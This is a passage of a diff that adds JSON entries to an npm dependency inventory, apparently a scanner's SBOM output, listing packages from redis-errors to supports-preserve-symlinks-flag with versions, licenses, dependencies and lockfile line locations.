+ "UID": "36b1e17dee065b18"
+ },
+ "Version": "0.4.5",
+ "Licenses": [
+ "MIT"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "DependsOn": [
+ "decimal.js-light@2.5.1"
+ ],
+ "Locations": [
+ {
+ "StartLine": 8522,
+ "EndLine": 8530
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "redis-errors@1.2.0",
+ "Name": "redis-errors",
+ "Identifier": {
+ "PURL": "pkg:npm/redis-errors@1.2.0",
+ "UID": "52d738f0a589c31e"
+ },
+ "Version": "1.2.0",
+ "Licenses": [
+ "MIT"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "Locations": [
+ {
+ "StartLine": 8537,
+ "EndLine": 8545
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "redis-parser@3.0.0",
+ "Name": "redis-parser",
+ "Identifier": {
+ "PURL": "pkg:npm/redis-parser@3.0.0",
+ "UID": "e8456c2a45181"
+ },
+ "Version": "3.0.0",
+ "Licenses": [
+ "MIT"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "DependsOn": [
+ "redis-errors@1.2.0"
+ ],
+ "Locations": [
+ {
+ "StartLine": 8546,
+ "EndLine": 8557
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "require-directory@2.1.1",
+ "Name": "require-directory",
+ "Identifier": {
+ "PURL": "pkg:npm/require-directory@2.1.1",
+ "UID": "69d3d72a34425c28"
+ },
+ "Version": "2.1.1",
+ "Licenses": [
+ "MIT"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "Locations": [
+ {
+ "StartLine": 8558,
+ "EndLine": 8566
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "require-from-string@2.0.2",
+ "Name": "require-from-string",
+ "Identifier": {
+ "PURL": "pkg:npm/require-from-string@2.0.2",
+ "UID": "da251d648c51218a"
+ },
+ "Version": "2.0.2",
+ "Licenses": [
+ "MIT"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "Locations": [
+ {
+ "StartLine": 8567,
+ "EndLine": 8575
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "require-main-filename@2.0.0",
+ "Name": "require-main-filename",
+ "Identifier": {
+ "PURL": "pkg:npm/require-main-filename@2.0.0",
+ "UID": "508ba374df3bd22f"
+ },
+ "Version": "2.0.0",
+ "Licenses": [
+ "ISC"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "Locations": [
+ {
+ "StartLine": 8576,
+ "EndLine": 8581
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "resend@3.5.0",
+ "Name": "resend",
+ "Identifier": {
+ "PURL": "pkg:npm/resend@3.5.0",
+ "UID": "ac0d337853058be8"
+ },
+ "Version": "3.5.0",
+ "Licenses": [
+ "MIT"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "DependsOn": [
+ "@react-email/render@0.0.16"
+ ],
+ "Locations": [
+ {
+ "StartLine": 8582,
+ "EndLine": 8593
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "resolve@1.22.12",
+ "Name": "resolve",
+ "Identifier": {
+ "PURL": "pkg:npm/resolve@1.22.12",
+ "UID": "68c1387a0f0cca57"
+ },
+ "Version": "1.22.12",
+ "Licenses": [
+ "MIT"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "DependsOn": [
+ "es-errors@1.3.0",
+ "is-core-module@2.16.1",
+ "path-parse@1.0.7",
+ "supports-preserve-symlinks-flag@1.0.0"
+ ],
+ "Locations": [
+ {
+ "StartLine": 8594,
+ "EndLine": 8614
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "restructure@3.0.2",
+ "Name": "restructure",
+ "Identifier": {
+ "PURL": "pkg:npm/restructure@3.0.2",
+ "UID": "af5fb30002f01e58"
+ },
+ "Version": "3.0.2",
+ "Licenses": [
+ "MIT"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "Locations": [
+ {
+ "StartLine": 8625,
+ "EndLine": 8630
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "retry@0.13.1",
+ "Name": "retry",
+ "Identifier": {
+ "PURL": "pkg:npm/retry@0.13.1",
+ "UID": "182c194e5a5d1b49"
+ },
+ "Version": "0.13.1",
+ "Licenses": [
+ "MIT"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "Locations": [
+ {
+ "StartLine": 8631,
+ "EndLine": 8640
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "retry-request@7.0.2",
+ "Name": "retry-request",
+ "Identifier": {
+ "PURL": "pkg:npm/retry-request@7.0.2",
+ "UID": "9ffcff06c68d9d7"
+ },
+ "Version": "7.0.2",
+ "Licenses": [
+ "MIT"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "DependsOn": [
+ "@types/request@2.48.13",
+ "extend@3.0.2",
+ "teeny-request@9.0.0"
+ ],
+ "Locations": [
+ {
+ "StartLine": 8641,
+ "EndLine": 8655
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "reusify@1.1.0",
+ "Name": "reusify",
+ "Identifier": {
+ "PURL": "pkg:npm/reusify@1.1.0",
+ "UID": "4c82e6526cf4cba6"
+ },
+ "Version": "1.1.0",
+ "Licenses": [
+ "MIT"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "Locations": [
+ {
+ "StartLine": 8656,
+ "EndLine": 8665
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "run-parallel@1.2.0",
+ "Name": "run-parallel",
+ "Identifier": {
+ "PURL": "pkg:npm/run-parallel@1.2.0",
+ "UID": "5d1493af643922d4"
+ },
+ "Version": "1.2.0",
+ "Licenses": [
+ "MIT"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "DependsOn": [
+ "queue-microtask@1.2.3"
+ ],
+ "Locations": [
+ {
+ "StartLine": 8735,
+ "EndLine": 8757
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "safe-buffer@5.1.2",
+ "Name": "safe-buffer",
+ "Identifier": {
+ "PURL": "pkg:npm/safe-buffer@5.1.2",
+ "UID": "6319cf09afcbfdf4"
+ },
+ "Version": "5.1.2",
+ "Licenses": [
+ "MIT"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "Locations": [
+ {
+ "StartLine": 3654,
+ "EndLine": 3659
+ },
+ {
+ "StartLine": 4173,
+ "EndLine": 4178
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "safe-buffer@5.2.1",
+ "Name": "safe-buffer",
+ "Identifier": {
+ "PURL": "pkg:npm/safe-buffer@5.2.1",
+ "UID": "a41326afe81fb30a"
+ },
+ "Version": "5.2.1",
+ "Licenses": [
+ "MIT"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "Locations": [
+ {
+ "StartLine": 8758,
+ "EndLine": 8777
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "safer-buffer@2.1.2",
+ "Name": "safer-buffer",
+ "Identifier": {
+ "PURL": "pkg:npm/safer-buffer@2.1.2",
+ "UID": "db8c15626670e81e"
+ },
+ "Version": "2.1.2",
+ "Licenses": [
+ "MIT"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "Locations": [
+ {
+ "StartLine": 8778,
+ "EndLine": 8783
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "scheduler@0.17.0",
+ "Name": "scheduler",
+ "Identifier": {
+ "PURL": "pkg:npm/scheduler@0.17.0",
+ "UID": "da5599d062eee219"
+ },
+ "Version": "0.17.0",
+ "Licenses": [
+ "MIT"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "DependsOn": [
+ "loose-envify@1.4.0",
+ "object-assign@4.1.1"
+ ],
+ "Locations": [
+ {
+ "StartLine": 8784,
+ "EndLine": 8793
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "scheduler@0.23.2",
+ "Name": "scheduler",
+ "Identifier": {
+ "PURL": "pkg:npm/scheduler@0.23.2",
+ "UID": "19442950b16c45d4"
+ },
+ "Version": "0.23.2",
+ "Licenses": [
+ "MIT"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "DependsOn": [
+ "loose-envify@1.4.0"
+ ],
+ "Locations": [
+ {
+ "StartLine": 8402,
+ "EndLine": 8410
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "scmp@2.1.0",
+ "Name": "scmp",
+ "Identifier": {
+ "PURL": "pkg:npm/scmp@2.1.0",
+ "UID": "7177b704e162dd2d"
+ },
+ "Version": "2.1.0",
+ "Licenses": [
+ "BSD-3-Clause"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "Locations": [
+ {
+ "StartLine": 8794,
+ "EndLine": 8800
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "selderee@0.11.0",
+ "Name": "selderee",
+ "Identifier": {
+ "PURL": "pkg:npm/selderee@0.11.0",
+ "UID": "ea7d1e69feb9e538"
+ },
+ "Version": "0.11.0",
+ "Licenses": [
+ "MIT"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "DependsOn": [
+ "parseley@0.12.1"
+ ],
+ "Locations": [
+ {
+ "StartLine": 8801,
+ "EndLine": 8812
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "semver@7.7.4",
+ "Name": "semver",
+ "Identifier": {
+ "PURL": "pkg:npm/semver@7.7.4",
+ "UID": "924c9f6b1acf6a0e"
+ },
+ "Version": "7.7.4",
+ "Licenses": [
+ "ISC"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "Locations": [
+ {
+ "StartLine": 8813,
+ "EndLine": 8824
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "send@0.19.2",
+ "Name": "send",
+ "Identifier": {
+ "PURL": "pkg:npm/send@0.19.2",
+ "UID": "f47423af5a4e434b"
+ },
+ "Version": "0.19.2",
+ "Licenses": [
+ "MIT"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "DependsOn": [
+ "debug@2.6.9",
+ "depd@2.0.0",
+ "destroy@1.2.0",
+ "encodeurl@2.0.0",
+ "escape-html@1.0.3",
+ "etag@1.8.1",
+ "fresh@0.5.2",
+ "http-errors@2.0.1",
+ "mime@1.6.0",
+ "ms@2.1.3",
+ "on-finished@2.4.1",
+ "range-parser@1.2.1",
+ "statuses@2.0.2"
+ ],
+ "Locations": [
+ {
+ "StartLine": 8825,
+ "EndLine": 8848
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "serve-static@1.16.3",
+ "Name": "serve-static",
+ "Identifier": {
+ "PURL": "pkg:npm/serve-static@1.16.3",
+ "UID": "aa1f68bf51bcd498"
+ },
+ "Version": "1.16.3",
+ "Licenses": [
+ "MIT"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "DependsOn": [
+ "encodeurl@2.0.0",
+ "escape-html@1.0.3",
+ "parseurl@1.3.3",
+ "send@0.19.2"
+ ],
+ "Locations": [
+ {
+ "StartLine": 8876,
+ "EndLine": 8890
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "set-blocking@2.0.0",
+ "Name": "set-blocking",
+ "Identifier": {
+ "PURL": "pkg:npm/set-blocking@2.0.0",
+ "UID": "394fc4326811e7b3"
+ },
+ "Version": "2.0.0",
+ "Licenses": [
+ "ISC"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "Locations": [
+ {
+ "StartLine": 8891,
+ "EndLine": 8896
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "setprototypeof@1.2.0",
+ "Name": "setprototypeof",
+ "Identifier": {
+ "PURL": "pkg:npm/setprototypeof@1.2.0",
+ "UID": "5c96ffe298f11408"
+ },
+ "Version": "1.2.0",
+ "Licenses": [
+ "ISC"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "Locations": [
+ {
+ "StartLine": 8897,
+ "EndLine": 8902
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "sharp@0.34.5",
+ "Name": "sharp",
+ "Identifier": {
+ "PURL": "pkg:npm/sharp@0.34.5",
+ "UID": "fcd063eeae81c705"
+ },
+ "Version": "0.34.5",
+ "Licenses": [
+ "Apache-2.0"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "DependsOn": [
+ "@img/colour@1.1.0",
+ "@img/sharp-darwin-arm64@0.34.5",
+ "@img/sharp-darwin-x64@0.34.5",
+ "@img/sharp-libvips-darwin-arm64@1.2.4",
+ "@img/sharp-libvips-darwin-x64@1.2.4",
+ "@img/sharp-libvips-linux-arm64@1.2.4",
+ "@img/sharp-libvips-linux-arm@1.2.4",
+ "@img/sharp-libvips-linux-ppc64@1.2.4",
+ "@img/sharp-libvips-linux-riscv64@1.2.4",
+ "@img/sharp-libvips-linux-s390x@1.2.4",
+ "@img/sharp-libvips-linux-x64@1.2.4",
+ "@img/sharp-libvips-linuxmusl-arm64@1.2.4",
+ "@img/sharp-libvips-linuxmusl-x64@1.2.4",
+ "@img/sharp-linux-arm64@0.34.5",
+ "@img/sharp-linux-arm@0.34.5",
+ "@img/sharp-linux-ppc64@0.34.5",
+ "@img/sharp-linux-riscv64@0.34.5",
+ "@img/sharp-linux-s390x@0.34.5",
+ "@img/sharp-linux-x64@0.34.5",
+ "@img/sharp-linuxmusl-arm64@0.34.5",
+ "@img/sharp-linuxmusl-x64@0.34.5",
+ "@img/sharp-wasm32@0.34.5",
+ "@img/sharp-win32-arm64@0.34.5",
+ "@img/sharp-win32-ia32@0.34.5",
+ "@img/sharp-win32-x64@0.34.5",
+ "detect-libc@2.1.2",
+ "semver@7.7.4"
+ ],
+ "Locations": [
+ {
+ "StartLine": 8903,
+ "EndLine": 8945
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "shebang-command@2.0.0",
+ "Name": "shebang-command",
+ "Identifier": {
+ "PURL": "pkg:npm/shebang-command@2.0.0",
+ "UID": "5b52936c644444e0"
+ },
+ "Version": "2.0.0",
+ "Licenses": [
+ "MIT"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "DependsOn": [
+ "shebang-regex@3.0.0"
+ ],
+ "Locations": [
+ {
+ "StartLine": 8946,
+ "EndLine": 8957
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "shebang-regex@3.0.0",
+ "Name": "shebang-regex",
+ "Identifier": {
+ "PURL": "pkg:npm/shebang-regex@3.0.0",
+ "UID": "c3018a2ce9684e2f"
+ },
+ "Version": "3.0.0",
+ "Licenses": [
+ "MIT"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "Locations": [
+ {
+ "StartLine": 8958,
+ "EndLine": 8966
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "side-channel@1.1.0",
+ "Name": "side-channel",
+ "Identifier": {
+ "PURL": "pkg:npm/side-channel@1.1.0",
+ "UID": "958c2872b017e013"
+ },
+ "Version": "1.1.0",
+ "Licenses": [
+ "MIT"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "DependsOn": [
+ "es-errors@1.3.0",
+ "object-inspect@1.13.4",
+ "side-channel-list@1.0.1",
+ "side-channel-map@1.0.1",
+ "side-channel-weakmap@1.0.2"
+ ],
+ "Locations": [
+ {
+ "StartLine": 8967,
+ "EndLine": 8985
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "side-channel-list@1.0.1",
+ "Name": "side-channel-list",
+ "Identifier": {
+ "PURL": "pkg:npm/side-channel-list@1.0.1",
+ "UID": "3348403d671593e1"
+ },
+ "Version": "1.0.1",
+ "Licenses": [
+ "MIT"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "DependsOn": [
+ "es-errors@1.3.0",
+ "object-inspect@1.13.4"
+ ],
+ "Locations": [
+ {
+ "StartLine": 8986,
+ "EndLine": 9001
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "side-channel-map@1.0.1",
+ "Name": "side-channel-map",
+ "Identifier": {
+ "PURL": "pkg:npm/side-channel-map@1.0.1",
+ "UID": "d0eb43c7321c2176"
+ },
+ "Version": "1.0.1",
+ "Licenses": [
+ "MIT"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "DependsOn": [
+ "call-bound@1.0.4",
+ "es-errors@1.3.0",
+ "get-intrinsic@1.3.0",
+ "object-inspect@1.13.4"
+ ],
+ "Locations": [
+ {
+ "StartLine": 9002,
+ "EndLine": 9019
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "side-channel-weakmap@1.0.2",
+ "Name": "side-channel-weakmap",
+ "Identifier": {
+ "PURL": "pkg:npm/side-channel-weakmap@1.0.2",
+ "UID": "c258c19e799ad1e7"
+ },
+ "Version": "1.0.2",
+ "Licenses": [
+ "MIT"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "DependsOn": [
+ "call-bound@1.0.4",
+ "es-errors@1.3.0",
+ "get-intrinsic@1.3.0",
+ "object-inspect@1.13.4",
+ "side-channel-map@1.0.1"
+ ],
+ "Locations": [
+ {
+ "StartLine": 9020,
+ "EndLine": 9038
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "signal-exit@4.1.0",
+ "Name": "signal-exit",
+ "Identifier": {
+ "PURL": "pkg:npm/signal-exit@4.1.0",
+ "UID": "42b5a10c68d388e2"
+ },
+ "Version": "4.1.0",
+ "Licenses": [
+ "ISC"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "Locations": [
+ {
+ "StartLine": 9046,
+ "EndLine": 9057
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "simple-swizzle@0.2.4",
+ "Name": "simple-swizzle",
+ "Identifier": {
+ "PURL": "pkg:npm/simple-swizzle@0.2.4",
+ "UID": "f757de862bcdb059"
+ },
+ "Version": "0.2.4",
+ "Licenses": [
+ "MIT"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "DependsOn": [
+ "is-arrayish@0.3.4"
+ ],
+ "Locations": [
+ {
+ "StartLine": 9058,
+ "EndLine": 9066
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "socket.io@4.8.3",
+ "Name": "socket.io",
+ "Identifier": {
+ "PURL": "pkg:npm/socket.io@4.8.3",
+ "UID": "a880aa07e96682af"
+ },
+ "Version": "4.8.3",
+ "Licenses": [
+ "MIT"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "DependsOn": [
+ "accepts@1.3.8",
+ "base64id@2.0.0",
+ "cors@2.8.6",
+ "debug@4.4.3",
+ "engine.io@6.6.7",
+ "socket.io-adapter@2.5.6",
+ "socket.io-parser@4.2.6"
+ ],
+ "Locations": [
+ {
+ "StartLine": 9067,
+ "EndLine": 9084
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "socket.io-adapter@2.5.6",
+ "Name": "socket.io-adapter",
+ "Identifier": {
+ "PURL": "pkg:npm/socket.io-adapter@2.5.6",
+ "UID": "a837353f4bef1829"
+ },
+ "Version": "2.5.6",
+ "Licenses": [
+ "MIT"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "DependsOn": [
+ "debug@4.4.3",
+ "ws@8.18.3"
+ ],
+ "Locations": [
+ {
+ "StartLine": 9085,
+ "EndLine": 9094
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "socket.io-client@4.8.3",
+ "Name": "socket.io-client",
+ "Identifier": {
+ "PURL": "pkg:npm/socket.io-client@4.8.3",
+ "UID": "ea4537f38d6ba06"
+ },
+ "Version": "4.8.3",
+ "Licenses": [
+ "MIT"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "DependsOn": [
+ "@socket.io/component-emitter@3.1.2",
+ "debug@4.4.3",
+ "engine.io-client@6.6.4",
+ "socket.io-parser@4.2.6"
+ ],
+ "Locations": [
+ {
+ "StartLine": 9095,
+ "EndLine": 9109
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "socket.io-parser@4.2.6",
+ "Name": "socket.io-parser",
+ "Identifier": {
+ "PURL": "pkg:npm/socket.io-parser@4.2.6",
+ "UID": "34c86139cce8fc52"
+ },
+ "Version": "4.2.6",
+ "Licenses": [
+ "MIT"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "DependsOn": [
+ "@socket.io/component-emitter@3.1.2",
+ "debug@4.4.3"
+ ],
+ "Locations": [
+ {
+ "StartLine": 9110,
+ "EndLine": 9122
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "source-map-js@1.2.1",
+ "Name": "source-map-js",
+ "Identifier": {
+ "PURL": "pkg:npm/source-map-js@1.2.1",
+ "UID": "e8dbf1e4fc084630"
+ },
+ "Version": "1.2.1",
+ "Licenses": [
+ "BSD-3-Clause"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "Locations": [
+ {
+ "StartLine": 9133,
+ "EndLine": 9141
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "standard-as-callback@2.1.0",
+ "Name": "standard-as-callback",
+ "Identifier": {
+ "PURL": "pkg:npm/standard-as-callback@2.1.0",
+ "UID": "fd3dbd9a9dea914f"
+ },
+ "Version": "2.1.0",
+ "Licenses": [
+ "MIT"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "Locations": [
+ {
+ "StartLine": 9160,
+ "EndLine": 9165
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "statuses@2.0.2",
+ "Name": "statuses",
+ "Identifier": {
+ "PURL": "pkg:npm/statuses@2.0.2",
+ "UID": "3328e330527b8834"
+ },
+ "Version": "2.0.2",
+ "Licenses": [
+ "MIT"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "Locations": [
+ {
+ "StartLine": 9166,
+ "EndLine": 9174
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "stream-events@1.0.5",
+ "Name": "stream-events",
+ "Identifier": {
+ "PURL": "pkg:npm/stream-events@1.0.5",
+ "UID": "9fdb8a677ebf060f"
+ },
+ "Version": "1.0.5",
+ "Licenses": [
+ "MIT"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "DependsOn": [
+ "stubs@3.0.0"
+ ],
+ "Locations": [
+ {
+ "StartLine": 9182,
+ "EndLine": 9191
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "stream-shift@1.0.3",
+ "Name": "stream-shift",
+ "Identifier": {
+ "PURL": "pkg:npm/stream-shift@1.0.3",
+ "UID": "79153b88c4da8a8d"
+ },
+ "Version": "1.0.3",
+ "Licenses": [
+ "MIT"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "Locations": [
+ {
+ "StartLine": 9192,
+ "EndLine": 9198
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "streamsearch@1.1.0",
+ "Name": "streamsearch",
+ "Identifier": {
+ "PURL": "pkg:npm/streamsearch@1.1.0",
+ "UID": "663bce4573809080"
+ },
+ "Version": "1.1.0",
+ "Indirect": true,
+ "Relationship": "indirect",
+ "Locations": [
+ {
+ "StartLine": 9199,
+ "EndLine": 9206
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "string-width@4.2.3",
+ "Name": "string-width",
+ "Identifier": {
+ "PURL": "pkg:npm/string-width@4.2.3",
+ "UID": "bbdbc8676d33f385"
+ },
+ "Version": "4.2.3",
+ "Licenses": [
+ "MIT"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "DependsOn": [
+ "emoji-regex@8.0.0",
+ "is-fullwidth-code-point@3.0.0",
+ "strip-ansi@6.0.1"
+ ],
+ "Locations": [
+ {
+ "StartLine": 9216,
+ "EndLine": 9229
+ },
+ {
+ "StartLine": 9230,
+ "EndLine": 9244
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "string-width@5.1.2",
+ "Name": "string-width",
+ "Identifier": {
+ "PURL": "pkg:npm/string-width@5.1.2",
+ "UID": "189318739c4d2fa5"
+ },
+ "Version": "5.1.2",
+ "Licenses": [
+ "MIT"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "DependsOn": [
+ "eastasianwidth@0.2.0",
+ "emoji-regex@9.2.2",
+ "strip-ansi@7.2.0"
+ ],
+ "Locations": [
+ {
+ "StartLine": 1468,
+ "EndLine": 1484
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "string_decoder@1.1.1",
+ "Name": "string_decoder",
+ "Identifier": {
+ "PURL": "pkg:npm/string_decoder@1.1.1",
+ "UID": "32be7d98a729cb51"
+ },
+ "Version": "1.1.1",
+ "Licenses": [
+ "MIT"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "DependsOn": [
+ "safe-buffer@5.1.2"
+ ],
+ "Locations": [
+ {
+ "StartLine": 4179,
+ "EndLine": 4187
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "string_decoder@1.3.0",
+ "Name": "string_decoder",
+ "Identifier": {
+ "PURL": "pkg:npm/string_decoder@1.3.0",
+ "UID": "9d93dd9a6723328f"
+ },
+ "Version": "1.3.0",
+ "Licenses": [
+ "MIT"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "DependsOn": [
+ "safe-buffer@5.2.1"
+ ],
+ "Locations": [
+ {
+ "StartLine": 9207,
+ "EndLine": 9215
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "strip-ansi@6.0.1",
+ "Name": "strip-ansi",
+ "Identifier": {
+ "PURL": "pkg:npm/strip-ansi@6.0.1",
+ "UID": "a135b828b1a553d1"
+ },
+ "Version": "6.0.1",
+ "Licenses": [
+ "MIT"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "DependsOn": [
+ "ansi-regex@5.0.1"
+ ],
+ "Locations": [
+ {
+ "StartLine": 9257,
+ "EndLine": 9268
+ },
+ {
+ "StartLine": 9269,
+ "EndLine": 9281
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "strip-ansi@7.2.0",
+ "Name": "strip-ansi",
+ "Identifier": {
+ "PURL": "pkg:npm/strip-ansi@7.2.0",
+ "UID": "5603a85cb1f5c87d"
+ },
+ "Version": "7.2.0",
+ "Licenses": [
+ "MIT"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "DependsOn": [
+ "ansi-regex@6.2.2"
+ ],
+ "Locations": [
+ {
+ "StartLine": 1485,
+ "EndLine": 1499
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "strnum@2.2.3",
+ "Name": "strnum",
+ "Identifier": {
+ "PURL": "pkg:npm/strnum@2.2.3",
+ "UID": "3aa1e0293b0f0065"
+ },
+ "Version": "2.2.3",
+ "Licenses": [
+ "MIT"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "Locations": [
+ {
+ "StartLine": 9338,
+ "EndLine": 9350
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "stubs@3.0.0",
+ "Name": "stubs",
+ "Identifier": {
+ "PURL": "pkg:npm/stubs@3.0.0",
+ "UID": "ecbb2921dec5dff"
+ },
+ "Version": "3.0.0",
+ "Licenses": [
+ "MIT"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "Locations": [
+ {
+ "StartLine": 9351,
+ "EndLine": 9357
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "styled-jsx@5.1.1",
+ "Name": "styled-jsx",
+ "Identifier": {
+ "PURL": "pkg:npm/styled-jsx@5.1.1",
+ "UID": "f679f63430c0027f"
+ },
+ "Version": "5.1.1",
+ "Licenses": [
+ "MIT"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "DependsOn": [
+ "client-only@0.0.1",
+ "react@18.3.1"
+ ],
+ "Locations": [
+ {
+ "StartLine": 9358,
+ "EndLine": 9380
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "sucrase@3.35.1",
+ "Name": "sucrase",
+ "Identifier": {
+ "PURL": "pkg:npm/sucrase@3.35.1",
+ "UID": "dc031349a3613c9f"
+ },
+ "Version": "3.35.1",
+ "Licenses": [
+ "MIT"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "DependsOn": [
+ "@jridgewell/gen-mapping@0.3.13",
+ "commander@4.1.1",
+ "lines-and-columns@1.2.4",
+ "mz@2.7.0",
+ "pirates@4.0.7",
+ "tinyglobby@0.2.16",
+ "ts-interface-checker@0.1.13"
+ ],
+ "Locations": [
+ {
+ "StartLine": 9381,
+ "EndLine": 9402
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "supports-preserve-symlinks-flag@1.0.0",
+ "Name": "supports-preserve-symlinks-flag",
+ "Identifier": {
+ "PURL": "pkg:npm/supports-preserve-symlinks-flag@1.0.0",
+ "UID": "443b0e457d1229a0"
+ },
+ "Version": "1.0.0",
